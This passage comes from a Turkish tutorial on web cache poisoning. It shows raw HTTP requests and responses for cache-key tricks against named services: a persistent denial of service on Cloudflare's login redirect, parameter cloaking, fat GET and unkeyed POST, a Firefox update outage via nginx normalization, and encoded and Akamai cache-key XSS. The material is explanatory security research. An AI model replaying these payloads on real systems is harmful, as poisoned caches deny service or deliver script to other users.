<p>Cloudflare’in oturum açma sayfası <a href="http://dash.cloudflare.com/login">dash.cloudflare.com/login</a> adresinde bulunuyor fakat pek çok bağlantı, kullanıcıları /login/ aracılığıyla yönlendiren <a href="http://cloudflare.com/login">cloudflare.com/login</a> adresine işaret ediyor. Yani kullanıcılar <a href="http://cloudflare.com/login">cloudflare.com/login</a>  üzerinden giriş yapıp yönlendiriliyorlar. Bu yönlendirmeyi kendi önbellek testimiz için kullanarak, query kısmının önbellek anahtarı olarak ele alınıp alınmadığını test edebiliriz:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /login?x<span class="o">=</span><span style="color:DodgerBlue">abc</span> HTTP/1.1
Host: www.cloudflare.com
<span style="color:DodgerBlue">Origin: https://dontpoisoneveryone/</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
Location: /login/?x<span class="o">=</span><span style="color:DodgerBlue">abc</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /login HTTP/1.1
Host: www.cloudflare.com
<span style="color:DodgerBlue">Origin: https://dontpoisoneveryone/</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
Location: <span style="color:DodgerBlue">/login/?x<span class="o">=</span>abc</span>
</code></pre></div></div>

<p>Gördüğünüz gibi <code class="language-plaintext highlighter-rouge">Origin</code> başlığı önbellek anahtarı olarak kullanılırken, query kısmı kullanılmadığı için <code class="language-plaintext highlighter-rouge">Origin</code> aynı kalmak koşulu ile doğrudan /login path’i üzerinde de aynı önbellek yanıtı döndürüldü.</p>

<p>Bu durum tek başına DoS’a sebep olmayabilir, ancak doğru yaklaşım ile bu tip önbellek zehirlenmelerini DoS olarak kullanabiliriz. Örneğin query dizesini maksimum URI uzunluğuna kadar doldurmayı deneyebiliriz:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /login?x<span class="o">=</span>very-long-string... HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/
</code></pre></div></div>

<p>Daha sonra başka biri giriş sayfasını ziyaret etmeye çalıştığında doğal olarak uzun bir sorgu dizesi içeren bir yönlendirme alacaktır:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /login HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
Location: /login/?x<span class="o">=</span>very-long-string...
</code></pre></div></div>

<p>Tarayıcıları bu yönlendirmeyi otomatik olarak takip ettiğinde, query den önce path yoluna eklenen ekstra <code class="language-plaintext highlighter-rouge">/</code> URI’yi bir bayt daha uzun hale getirir ve bunun sunucu tarafından engellenmesine neden olur:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /login/?x<span class="o">=</span>very-long-string... HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: MISS
</code></pre></div></div>

<p>Yani tek bir istekle Cloudflare’in giriş sayfasına giden bu rotayı ısrarla kapatabiliriz. Buradaki <code class="language-plaintext highlighter-rouge">Origin: https://dontpoisoneveryone/</code> başlığını güvenli test için eklemiştik. Eğer bu başlığı kaldırıp bu isteği önbelleğe aldırırsak, <a href="http://cloudflare.com/login">cloudflare.com/login</a> üzerinden giriş yapmaya çalışan herkesin oturumuna mani olabiliriz.</p>

<p><strong>Ayrıca lütfen dikkat edin, bunların hepsi yönlendirme sayesindedir</strong>; Cloudflare 414 gibi bir hata durum koduna sahip herhangi bir yanıtı önbelleğe almayı reddettiği için aşırı uzun URI’yi kendimiz göndererek bu saldırıyı yapamayız. Tam sınırdaki sayıda(aşırı uzundan 1 bayt kısa) karakter içermeli. Zaten yönlendirme sırasında path yoluna yeni bir <code class="language-plaintext highlighter-rouge">/</code> karakteri eklendiği için saldırı mümkün olur.</p>

<p>Buradaki örnek üzerinden de gördüğümüz gibi; aktif olarak kullanılan ve sorgu parametrelerini yansıtan önbelleğe alınabilir bir yönlendirme bulursanız, hedef sayfa önbelleğe alınabilir olmasa veya aynı domain üzerinde olmasa bile, yönlendirme hedefine parametreler enjekte ederek DoS gibi zafiyetleri ortaya çıkabilirsiniz.</p>

<p>Araştırmacı bu durumu Cloudflare’a iletmiş ve query değerini yansıtan yönlendirme yanıtlarının önbelleğe alınmasını önleyerek çözüm sunmuşlar. Fakat araştırmacı URL encoding ile bu önlemi de atlatmış:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /login?x<span class="o">=</span>%6cong-string… HTTP/1.1
Host: www.cloudflare.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
Location: /login/?x<span class="o">=</span>long-string…
CF-Cache-Status: HIT
</code></pre></div></div>

<p>Daha sonra bu yöntem de çözülmüş, ancak query değerini <code class="language-plaintext highlighter-rouge">Location</code> başlığına eklemeden önce başka dönüşüm işlemi yapan bir sunucu bulursanız bu çözümü de atlamanız mümkün olabilir.</p>

<h2 id="önbellek-parametresi-gizleme">Önbellek Parametresi Gizleme</h2>

<p>Eğer spesifik bir parametre önbellek anahtarı olarak kullanımdan hariç tutuluyorsa, kelime ayrıştırma yapıldığı için bu durumu manipüle ederek başka parametreleri de hariç tutmamız mümkün olabilir. Yani önbellek parametrelerini keyfi olarak gizlememiz mümkün olabilir.</p>

<p>Basit bir örnek ile başlamak için Varnish üzerinde “<code class="language-plaintext highlighter-rouge">_</code>” parametresi silmek üzere stackoverflow üzerinde sunulmuş regex örneğini ele alabiliriz.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">set </span>req.http.hash_url <span class="o">=</span> regsuball<span class="o">(</span>
           req.http.hash_url,
           <span class="s2">"</span><span class="se">\?</span><span class="s2">_=[^&amp;]+&amp;"</span>,
           <span class="s2">"?"</span><span class="o">)</span><span class="p">;</span>
</code></pre></div></div>

<p>Bu regex’e aşağıdaki isteği gönderelim:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /search?q<span class="o">=</span><span class="nb">help</span>?!&amp;search<span class="o">=</span>1 HTTP/1.1
Host: example.com
</code></pre></div></div>

<p>Önbellek anahtarını değiştirmeden “<strong>q</strong>” parametresini aşağıdaki şekilde zehirleyebiliriz:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /search?q<span class="o">=</span><span class="nb">help</span>?_<span class="o">=</span>payload&amp;!&amp;search<span class="o">=</span>1 HTTP/1.1
Host: example.com
</code></pre></div></div>

<p>Regex, ‘<strong>_</strong>’ parametresini kaldırmaya çalışırken, geride bir ‘<strong>?</strong>’ bırakır. Bu nedenle, soru işareti içeren parametreleri zehirleyebiliriz. Yani aslında farklı parametreler içeren istekleri aynı önbellek anahtarı oluşturacak şekilde önbelleğe aldırmamız mümkündür. Bu sayede son derece sıradan gözüken istekler bile zararlı yükleri barındırıyor olabilir.</p>

<h3 id="akamai">Akamai</h3>

<p>Akamai örneğinde, ‘<strong>akamai-transform</strong>’ parametresinin önbellek anahtarına dahil edilmemesi nedeniyle parametre gizlemesi yapabiliyorsunuz. Bunun nasıl bir fayda sağladığını anlamak için detaylı bir inceleme yapalım.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /en?x<span class="o">=</span>1&amp;akamai-transform<span class="o">=</span>payload-goes-here HTTP/1.1
Host: redacted.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
X-True-Cache-Key: /L/redacted.akadns.net/en?x<span class="o">=</span>1 <span class="nv">vcd</span><span class="o">=</span>1234 <span class="nv">cid</span><span class="o">=</span>__
</code></pre></div></div>

<p>Burada, <code class="language-plaintext highlighter-rouge">akamai-transform</code> parametresi önbellek anahtarına dahil edilmediği için yanıtın önbellek anahtarında görünmüyor.</p>

<p>Akamai’nin URL ayrıştırması sayesinde, ‘<strong>akamai-transform</strong>’ parametresini gizleyerek aynı önbellek anahtarını kullanabilirsiniz. Bu, farklı parametreler içeren isteklerin aynı önbellek anahtarına sahip olmasına neden olur. Yani aşağıdaki iki bağlantı da aynı önbelleği tetikler:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /en?x<span class="o">=</span>1&amp;akamai-transform<span class="o">=</span>payload-goes-here HTTP/1.1
Host: redacted.com
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /en?x<span class="o">=</span>1 HTTP/1.1
Host: redacted.com
</code></pre></div></div>

<p>Eğer bu durumda biz <strong>akamai-transform=zaralı-kodlar</strong> ile zararlı kodları yanıtta barındırabilirsek, zararsız bözüken url üzerinden de bu zararlı yanıtı içeren önbellek yanıtı döndülür.</p>

<h3 id="ruby-on-rails-örneği">Ruby on Rails Örneği</h3>

<p>Ruby on Rails örneğinde, ‘<code class="language-plaintext highlighter-rouge">;</code>’ karakterinin parametre ayracı olarak kullanılması sayesinde parametre gizlemesi yapabiliyorsunuz.</p>

<p>Yani aslında her ikisi de aynı kabul ediliyor:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/?param1<span class="o">=</span><span class="nb">test</span>&amp;param2<span class="o">=</span>foo
/?param1<span class="o">=</span><span class="nb">test</span><span class="p">;</span><span class="nv">param2</span><span class="o">=</span>foo
</code></pre></div></div>

<p>Aşağıdaki örnekte <strong>utm_content</strong> ifadesi önbellek anahtarı olarak kullanılmamak üzere ayrıştırılıyor. Ayrıştırma esnasında karmaşaya sebep olmak için aşağıdaki isteği gönderebiliriz.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /jsonp?callback<span class="o">=</span>legit&amp;utm_content<span class="o">=</span>x<span class="p">;</span><span class="nv">callback</span><span class="o">=</span>alert<span class="o">(</span>1<span class="o">)</span>// HTTP/1.1
Host: example.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
alert<span class="o">(</span>1<span class="o">)</span>//<span class="o">(</span>some-data<span class="o">)</span>
</code></pre></div></div>

<p>Bu istekte, Ruby on Rails üç parametre görür: <code class="language-plaintext highlighter-rouge">callback</code>, <code class="language-plaintext highlighter-rouge">utm_content</code> ve <code class="language-plaintext highlighter-rouge">callback</code>. Rails, ikinci <code class="language-plaintext highlighter-rouge">callback</code> değerine öncelik verir ve saldırganın kontrolü altında olan değeri kullanır. Dolayısıyla artık normal şekilde <code class="language-plaintext highlighter-rouge">GET</code> ile bu standart link ziyaret edildiğinde önbellekten zararlı yükün bulunduğu yanıt getirilir.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /jsonp?callback<span class="o">=</span>legit HTTP/1.1
Host: example.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
X-Cache: HIT
alert<span class="o">(</span>1<span class="o">)</span>//<span class="o">(</span>some-data<span class="o">)</span>
</code></pre></div></div>

<p>Bu istekte, <code class="language-plaintext highlighter-rouge">utm_content</code> parametresi önbellek anahtarına dahil edilmediği için yanıt aynı önbellek anahtarına sahip olur. İlk istekte kötü amaçlı <code class="language-plaintext highlighter-rouge">callback</code> değeri önbelleğe alındığı için, ikinci istek de aynı kötü amaçlı yanıtı döner.</p>

<h4 id="özet">Özet</h4>

<p>Her iki örnekte de parametre gizlemesi, saldırganın kötü amaçlı yüklerini sunucuya gizlice gönderip bu yüklerin önbelleğe alınmasına ve daha sonra diğer kullanıcılar tarafından güvenli gözüken standart adresten erişilmesine olanak tanır.</p>

<h3 id="anahtarsız-metod">Anahtarsız Metod</h3>

<p>Parametreleri önbellek anahtarından gizlemenin başka bir yolu da basitçe bir <code class="language-plaintext highlighter-rouge">POST</code> isteği göndermektir. Bazı sistemler HTTP istek metodunu önbellek anahtarına dahil etmez. Yani <code class="language-plaintext highlighter-rouge">POST</code> veya <code class="language-plaintext highlighter-rouge">GET</code> olup olmadığına bakmaksızın önbellekleme yapabilir.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /view/o2o/shop HTTP/1.1
Host: alijk.m.taobao.com

<span class="nv">_wvUserWkWebView</span><span class="o">=</span>a&lt;/script&gt;&lt;svg <span class="nv">onload</span><span class="o">=</span><span class="s1">'alert%26lpar;1%26rpar;'</span>/data-
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
…
<span class="s2">"_wvUseWKWebView"</span>:<span class="s2">"a&lt;/script&gt;&lt;svg onload='alert&amp;lpar;1&amp;rpar;'/data-"</span><span class="o">}</span>,
</code></pre></div></div>

<p>Artık standart bir kullanıcı <code class="language-plaintext highlighter-rouge">GET</code> ile <strong><em>/view/o2o/shop</em></strong> adresini ziyaret ettiğinde önbellekten zararlı yükün bulunduğu yanıt döndürülecektir.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /view/o2o/shop HTTP/1.1
Host: alijk.m.taobao.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
…
<span class="s2">"_wvUseWKWebView"</span>:<span class="s2">"a&lt;/script&gt;&lt;svg onload='alert&amp;lpar;1&amp;rpar;'/data-"</span><span class="o">}</span>,
</code></pre></div></div>

<h3 id="fat-get">Fat GET</h3>

<p>Bazı sistemler <code class="language-plaintext highlighter-rouge">GET</code> isteğiyle birlikte body kısmında yer alan verileri de alırlar. Yani <code class="language-plaintext highlighter-rouge">GET</code> isteğinin <code class="language-plaintext highlighter-rouge">POST</code> gibi ele alındığı hatalı yaklaşımlar mevcut olabilir.</p>

<p>Örneğin aşağıdaki isteği gönderdiğimizde, albinowax github sayfasını ziyaret edip bu kullanıcıyı kötüye kullanım şeklinde bildiren tüm kullanıcılar aslında “innocent-victim” yani başka hedef kullanıcıyı raporlamış olacaklar.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /contact/report-abuse?report<span class="o">=</span>albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

<span class="nv">report</span><span class="o">=</span>innocent-victim
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">GET</code> isteğindeki body kısmı önbelleğe alındığı için istekleri zehirlemek mümkün hale geliyor.</p>

<p>Bir diğer örnek olarak, zendesk kullanan bir hedef için aşağıdaki istek; onların giriş sayfalarını önbellek ile zehirleyecek, böylece kendi kimlik bilgilerini giren ve ‘login’i tıklayan herkes, onları benim hesabımda oturum açmış halde bırakan bir yönlendirme zincirinden geçirilecek ve daha sonra oluşturdukları tüm biletlerin yetkisi bana verilecek:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /en-us/signin HTTP/1.1
Host: example.zendesk.com

<span class="nv">return_to</span><span class="o">=</span>/access/logout?return_to<span class="o">=</span>/./access/return_to?flash_digest<span class="o">=</span>secret-token%2526return_to<span class="o">=</span>/final-page?foo<span class="o">=</span>foo%252526bar<span class="o">=</span>bar
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
…
&lt;input <span class="nv">name</span><span class="o">=</span><span class="s2">"return_to"</span> <span class="nv">value</span><span class="o">=</span><span class="s2">"/access/logout?return_to=/./access/return_to…"</span><span class="o">&gt;</span>
</code></pre></div></div>

<h2 id="özellikleri-ve-bileşenleri-kötüye-kullanma">Özellikleri ve Bileşenleri Kötüye Kullanma</h2>

<p>Önbellek zehirleme saldırılarının etkisi büyük ölçüde mevcut <strong>gadget</strong>‘lara (saldırganın manipüle edebileceği ve zararlı eylemler gerçekleştirebileceği kod parçaları veya bileşenler) bağlıdır. Şimdi bu “gadget” ların neler olabileceği ve nasıl kötüye kullanılabilceklerinden bahsederek devam edelim.</p>

<h3 id="kaynak-dosyalar-js-ve-css">Kaynak Dosyalar: JS ve CSS</h3>

<p>JS ve CSS gibi kaynak dosyalar genellikle statiktir, ancak bazen sorgu dizisinden (query string) gelen girdileri yansıtırlar. Bu genellikle zararsızdır çünkü tarayıcılar bu dosyaları doğrudan görüntülendiğinde çalıştırmaz, ancak önbellek zehirleme saldırıları için mükemmel gadget’lar oluştururlar. Önbellek zehirleme kullanarak bir kaynak dosyaya içerik enjekte edebilirsek, o kaynağı yükleyen her sayfa üzerinde, hatta bağlantılı diğer domainler üzerinde bile kontrol elde ederiz. Örneğin, ‘import’ kuralının mevcut sorgu dizisini yansıttığı bir örnek:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /style.css?x<span class="o">=</span>a<span class="o">)</span><span class="p">;</span>@import... HTTP/1.1
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK

@import url<span class="o">(</span>/site/home/index-part1.8a6715a2.css?x<span class="o">=</span>a<span class="o">)</span><span class="p">;</span>@import...
</code></pre></div></div>

<p>Bu, zararlı CSS enjekte etmek ve bu CSS dosyasını yükleyen herhangi bir sayfadan hassas bilgileri sızdırmak için kullanılabilir.</p>

<p>Hatta eğer CSS dosyasını yükleyen sayfada bir doctype yoksa, dosyanın text/css içerik türüne sahip olması bile gerekmez; tarayıcılar geçerli CSS ile karşılaşana kadar belgeyi tarar ve ardından bunu çalıştırır. Bu, ara sıra statik CSS dosyalarını, bir sunucu hatasını tetikleyerek URL’yi yansıtan şekilde zehirleyebileceğiniz anlamına gelir:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /foo.css?x<span class="o">=</span>alert<span class="o">(</span>1<span class="o">)</span>%0A<span class="o">{}</span><span class="k">*</span><span class="o">{</span>color:red<span class="p">;</span><span class="o">}</span> HTTP/1.1
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: text/html

This request was blocked due to… alert<span class="o">(</span>1<span class="o">)</span>
 <span class="o">{}</span><span class="k">*</span><span class="o">{</span>color:red<span class="p">;</span><span class="o">}</span>
</code></pre></div></div>

<p>Bu istek, geçerli CSS içeren bir sunucu hatası yansıttığında tarayıcı tarafından yürütülebilir.</p>

<h2 id="önbellek-anahtarının-normalizasyonu">Önbellek Anahtarının Normalizasyonu</h2>

<p>Önbellek anahtarı normalizasyonu gibi basit bir işlem bile ciddi sonuçlara yol açabilir. Bu durumu Firefox’un güncelleme sistemi üzerinden inceleyelim. Firefox, periyodik olarak tarayıcı güncellemelerini kontrol etmek için şu isteği yapar:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?product<span class="o">=</span>firefox-73.0.1-complete&amp;os<span class="o">=</span>osx&amp;lang<span class="o">=</span>en-GB&amp;force<span class="o">=</span>1 HTTP/1.1
Host: download.mozilla.org
</code></pre></div></div>

<p>Yanıt ise şu şekildedir:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Found
Location: https://download-installer.cdn.mozilla.net/pub/..firefox-73.mar
</code></pre></div></div>

<p>Soruna sebep olan sunucu yapılandırması aşağıdaki şekildeymiş:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server <span class="o">{</span>
    proxy_cache_key <span class="nv">$http_x_forwarded_proto$proxy_host$uri$is_args$args</span><span class="p">;</span>
    location / <span class="o">{</span>
        proxy_pass http://upstream_bouncer<span class="p">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Bu yapılandırmada <code class="language-plaintext highlighter-rouge">proxy_cache_key</code> ayarında herhangi bir sorun yok; aslında, nginx’in varsayılan cache key’ine oldukça benzer. Ancak, nginx’in <code class="language-plaintext highlighter-rouge">proxy_pass</code> belgesine <a href="https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass">baktığınızda</a> sorunun ipucunu bulabilirsiniz:</p>

<p class="yesil">If proxy_pass is specified without a URI, the request URI is passed to the server in the same form as sent by a client when the original request is processed.</p>

<p>Buradaki ‘<strong>in the same form</strong>’ (aynı biçimde) ifadesi, iletilen isteğin normalize edilmeyeceğini, oysa cache key’de saklanan istek bileşenlerinin normalleştirilebileceğini ima eder. Nginx’in cache key’e uyguladığı normalizasyon biçimlerinden biri, tam URL-çözümleme (URL-decode) işlemidir.</p>

<h3 id="saldırının-i̇şleyişi">Saldırının İşleyişi</h3>

<p>Eğer güncelleme isteğini URL encode şeklindeki soru işareti ile yaparsanız, bu backend tarafında karışıklığa neden olacak ve hatalı bir yönlendirme(hatalı istekleri doğrudan ana sayfaya yönlendiriyor) ile sonuçlanacaktır:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /%3fproduct<span class="o">=</span>firefox-73.0.1-complete&amp;os<span class="o">=</span>osx&amp;lang<span class="o">=</span>en-GB&amp;force<span class="o">=</span>1 HTTP/1.1
Host: download.mozilla.org
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Found
Location: https://www.mozilla.org/
</code></pre></div></div>

<p>Ancak, nginx’in URL-çözümleme işlemi sayesinde <code class="language-plaintext highlighter-rouge">?</code> ve <code class="language-plaintext highlighter-rouge">%3</code> aynı cache key değerine tekabül edeceği için bu istek, meşru bir güncelleme isteği ile aynı cache key’e sahip olacaktır. Bu noktadan itibaren, Firefox global olarak güncelleme yapamayacaktır:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?product<span class="o">=</span>firefox-73.0.1-complete&amp;os<span class="o">=</span>osx&amp;lang<span class="o">=</span>en-GB&amp;force<span class="o">=</span>1 HTTP/1.1
Host: download.mozilla.org
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Found
Location: https://www.mozilla.org/
</code></pre></div></div>

<h2 id="önbellek-sihirbazlıkları">Önbellek Sihirbazlıkları</h2>

<h3 id="encoded-xss">Encoded XSS</h3>

<p>Burp repeater sekmesinde aşağıdaki gibi bir istek gönderdiğinizde reflected XSS elde edilebildiğini düşündüğünüz bir durum olduğunu varsayalım:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?x<span class="o">=</span><span class="s2">"/&gt;&lt;script&gt;alert(1)&lt;/script&gt; HTTP/1.1
Host: example.com
</span></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
...
&lt;a <span class="nv">href</span><span class="o">=</span><span class="s2">"/?x="</span>/&gt;&lt;script&gt;alert<span class="o">(</span>1<span class="o">)</span>&lt;/script&gt;
</code></pre></div></div>

<p>Fakat bu açığı standart web tarayıcıları üzerinde uygulayamazsınız. Çünkü modern tarayıcılar, sunucuya istekte bulunmadan önce anahtar karakterleri URL olarak kodlar ve sunucu bunların kodunu çözmez. Yani aslında sunucu tarafına aşağıdaki gibi bir istek gönderilir:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?x<span class="o">=</span>%22/%3E%3Cscript%3Ealert<span class="o">(</span>1<span class="o">)</span>%3C/script%3E HTTP/1.1
Host: example.com
</code></pre></div></div>

<p>Sunucu da URL decode uygulamadan bunu yanıta yansıtır:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
...
&lt;a <span class="nv">href</span><span class="o">=</span><span class="s2">"/?x=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
</span></code></pre></div></div>

<p>Benzer şekilde aslında yalnızca path yolundaki karakterleri değil, query yani sorgu dizesindeki temel karakteri de tarayıcılar URL olarak kodlayıp sunucuya iletiyor.</p>

<p>Fakat önbellek anahtarlarının normalize edilmesi sayesinde daha önceki örnekte de gördüğümüz şekilde aslında URL encode ve standart karakterler de aynı önbellek anahtarına dönüştürülüyor. Bu sayede biz öncelikle burp üzerinden URL encode olmayan isteği gönderip bunu önbelleğe almayı başarabilirsek, URL encode biçimindeki standart tarayıcılardan gelen isteklere de bu önbellekten yanıt döndürülüyor olacak.</p>

<p>Öncelikle burp ile isteği URL encode olmadan sunucuya iletip önbelleğe bu şekilde alınmasını sağlayalım:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?x<span class="o">=</span><span class="s2">"/&gt;&lt;script&gt;alert(1)&lt;/script&gt; HTTP/1.1
Host: example.com
</span></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
...
&lt;a <span class="nv">href</span><span class="o">=</span><span class="s2">"/?x="</span>/&gt;&lt;script&gt;alert<span class="o">(</span>1<span class="o">)</span>&lt;/script&gt;
</code></pre></div></div>

<p>Tamamdır, şimdi standart tarayıcılar üzerinden bu url ziyaret edildiğinde URL encode uygulansa bile önbellek mekanizması URL normalizasyonu ile her iki isteği de aynı görüp, önceden oluşturduğu önbellekten yanıtı dönecek.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?x<span class="o">=</span>%22/%3E%3Cscript%3Ealert<span class="o">(</span>1<span class="o">)</span>%3C/script%3E HTTP/1.1
Host: example.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
X-Cache: HIT
...
&lt;a <span class="nv">href</span><span class="o">=</span><span class="s2">"/?x="</span>/&gt;&lt;script&gt;alert<span class="o">(</span>1<span class="o">)</span>&lt;/script&gt;
</code></pre></div></div>

<h3 id="önbellek-anahtarı-enjeksiyonu---akamai">Önbellek Anahtarı Enjeksiyonu - Akamai</h3>

<p>Örneğin <code class="language-plaintext highlighter-rouge">Origin</code> başlığı gibi normalde standart kullanıcıların göndermeyeceği başlıklar üzerinden sömürü gerçekleştirmemiz gerekirse ?</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?x<span class="o">=</span>2 HTTP/1.1
Origin: <span class="s1">'-alert(1)-'</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
X-True-Cache-Key: /D/000/example.com/ <span class="nv">cid</span><span class="o">=</span><span class="nv">x</span><span class="o">=</span><span class="nv">2__Origin</span><span class="o">=</span><span class="s1">'-alert(1)-'</span>

&lt;script&gt;…<span class="s1">'-alert(1)-'</span>…&lt;/script&gt;
</code></pre></div></div>

<p>Normalde bu tür bir açığı sömürmek mümkün değildir, çünkü standart kullanıcıların tarayıcıları üzerinden <code class="language-plaintext highlighter-rouge">Origin: '-alert(1)-'</code> başlığı ile istek göndermesini sağlayamazsınız. Fakat Akamai tüm anahtar bileşenleri birbirinden ayıran <code class="language-plaintext highlighter-rouge">__</code> kaçış karakterlerini kaldırmadan önbellek anahtarına dahil ederse, aşağıdaki iki istek de aynı önbellek anahtarına sahip olabilir.</p>

<p><strong>İlk İstek:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?x<span class="o">=</span>2 HTTP/1.1
Origin: <span class="s1">'-alert(1)-'</span>__
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
X-True-Cache-Key: /D/000/example.com/ <span class="nv">cid</span><span class="o">=</span><span class="nv">x</span><span class="o">=</span><span class="nv">2__Origin</span><span class="o">=</span><span class="s1">'-alert(1)-'</span>__
</code></pre></div></div>

<p><strong>İkinci istek:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?x<span class="o">=</span><span class="nv">2__Origin</span><span class="o">=</span><span class="s1">'-alert(1)-'</span> HTTP/1.1
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
X-True-Cache-Key: /D/000/example.com/ <span class="nv">cid</span><span class="o">=</span><span class="nv">x</span><span class="o">=</span><span class="nv">2__Origin</span><span class="o">=</span><span class="s1">'-alert(1)-'</span>__
X-Cache: TCP_HIT

&lt;script&gt;…<span class="s1">'-alert(1)-'</span>…&lt;/script&gt;
</code></pre></div></div>

<p>İlk isteği kendiniz yaparak ve kurbanınızı ikinci URL’ye yönlendirerek bu XSS’yi sömürülebilir hale getirmiş olursunuz. Çünkü ilk istek ile <code class="language-plaintext highlighter-rouge">Origin</code> başlığının önbelleğe alınmasını sağlarsınız. İkinci istekte ise <code class="language-plaintext highlighter-rouge">__</code> ayrıştırma karakteri kaldırılmadan önbelleğe alındığı için, önbellek mekanizmasını kandırarak bir önceki istek neticesinde oluşturan önbellek anahtarı ile mevcut isteğin aynı olması sağlanmış olur.</p>

<h2 id="dahili-önbellek-zehirlenmesi-1">Dahili Önbellek Zehirlenmesi</h2>

